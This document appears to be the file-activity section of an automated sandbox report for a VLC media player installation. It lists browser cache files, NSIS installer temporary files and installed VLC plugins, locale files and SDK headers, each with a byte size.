C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (13705 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\c16ddcefe8d9f0d1f850dfcd8f36687d[1].jpg (3972 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\13ca8e322e15bc394d66a37bec12e3b4[1].png (27394 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\7e5817bad781bbc2d2e43b350ccb53db[1].png (5642 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\analytics[1].js (17192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\07fce0a4ff78cc7e6376e227f046ce06[1].png (37799 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JJ8E6UGZ.txt (92 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (29559 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\bbbde9554589bda63791709a6785e0a3[1].png (10360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\4f263f4be4c4396c9078d1874c05b928[1].png (6404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\23428f8768d928d2bd45dd3b0c4d0057[1].png (19386 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\logo[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ddb3b88cf98eb0220c9e6c252e376749[1].png (13400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\5dbc29649669598ff43174b9ee730008[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\52d5414e7372639389ab7e9e4d479aee[1].png (21979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MZ3DHPII.txt (226 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\a64a4b5c68c364d30083fbd0b0363585[1].png (24528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\36d7cd00f07003a67021237993257d08[1].png (9755 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\9c161c623a389f1b32f42adac2cb466b[1].jpg (3496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\b85261679e262228a562f693b3e6ef6f[1].png (24370 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\13a052a6d8c62b7831aa10e2f6f37454[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.min[1].js (50478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7c9d412c730603d1d82b98a548a71bac[1].png (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\589b1e936e1f038dc45bd8ffff59b359[1].png (18485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7d4f668f3d1818d01b6b9684b669d0db[1].png (6436 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ac5196fbf245580eee113296dff14d0b[1].png (8840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (5984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\d586df222f5069b6c396373d67d0163b[1].png (24704 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3d8bbea6bcae57d705c676f7050a7d51[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\0692c2494a7331a77c05954f79c5480a[1].png (8803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ace33f0a1eddf74bbe8d1bfac70deded[1].png (10360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f4e4b853ddab3b763f0af17d513631bd[1].png (22689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\442a5f30204dd385d17de5848683274f[1].png (14528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\567f43cb72fe3ac6419369953394cadd[1].png (41376 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\home[1].htm (2911 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\lightbox[1].js (5015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\logo_illust[1].jpg (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (13368 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.log (326774 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (68799 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (24832 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (49631 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (22552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\LangDLL.dll (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ku\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\ioSpecial.ini (10389 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (58402 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\UAC.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (27504 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (42762 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
